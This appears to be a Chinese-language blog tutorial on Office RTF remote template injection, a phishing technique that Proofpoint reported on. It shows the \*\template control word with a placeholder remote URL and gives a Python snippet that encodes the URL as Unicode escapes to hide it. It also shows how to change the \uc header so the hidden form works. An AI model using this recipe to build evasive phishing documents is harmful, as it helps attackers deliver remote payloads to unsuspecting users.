Office RTF远程模板注入

远程模板插入

  ProofPoin最近写了一篇文章,报告中提到近年来RTF模板注入进行office钓鱼攻击的数量增加。之前还没怎么了解过RTF模板注入的,现在和小编一起去看看吧(笑hhh)。
  相对DOC模板注入的创建而言比较简单,创建一个rtf文档,使用office word进行编辑,随便写个内容。
image
  保存之后会发现文档从原来的几个字节大小变为几十KB。这是因为里面添加了大量RTF文档格式属性字段值。
image
  那如何进行模板注入呢,RTF文档支持一个相关的控制字段:*\template,该字段值需要跟着使用的模板名,整个属性字段需要使用大括号括起来。
image
  然后直接使用文本编辑器打开之前保存的rtf文档。进行远程模板注入的话,插入的内容形如:{\*\template hxxp://xx.xx.xx.xx:port/xxx.xxx}。至于插入位置,经过测试,放在大括号后面,前面,或是之间,都可以获取远程模板。例如:
image
  插入字段并保存修改,再次使用Word打开,成功实现了模板注入。
image
image

Unicode形式URL模板插入

  更进一步,*\template字段参数值可以为Unicode,可以更好隐藏自身。关于如何将Ascii转为Unicode表示形式,参考[3]文章如下。
image
  Python代码表示如下:

def trans(url):
    return ''.join(['\\u'+str(-(0xffff+1-ord(c)))+'?' for c in url])

  那如何自制一个RTF Unicode模板注入呢?在原本基础上直接修改\*\template的属性值没用。而按proofpoint文章中所说,涉及到\*\wgrffmtfilter字段,然而查看相应文档,并且经过一番测试,和该字段实际并无关系。通过比对一些网络上的相关技术利用样本后发现,该方式应是和RTF文档首部的\uc字段有关。
  \ucN:指定当前大括号中\uN表示的UNICODE字符对应的字节数。
image
  现在只需要修改\uc\uc1(在中文环境下默认保存为2),然后使用和第一节中相同方式将\*\template字段插入文档,可成功实现。
image

参考:

[1] https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread
[2] http://www.biblioscape.com/rtf15_spec.htm
[3] https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/

posted @ 2021-12-07 23:26  Bl0od  阅读(606)  评论(0编辑  收藏  举报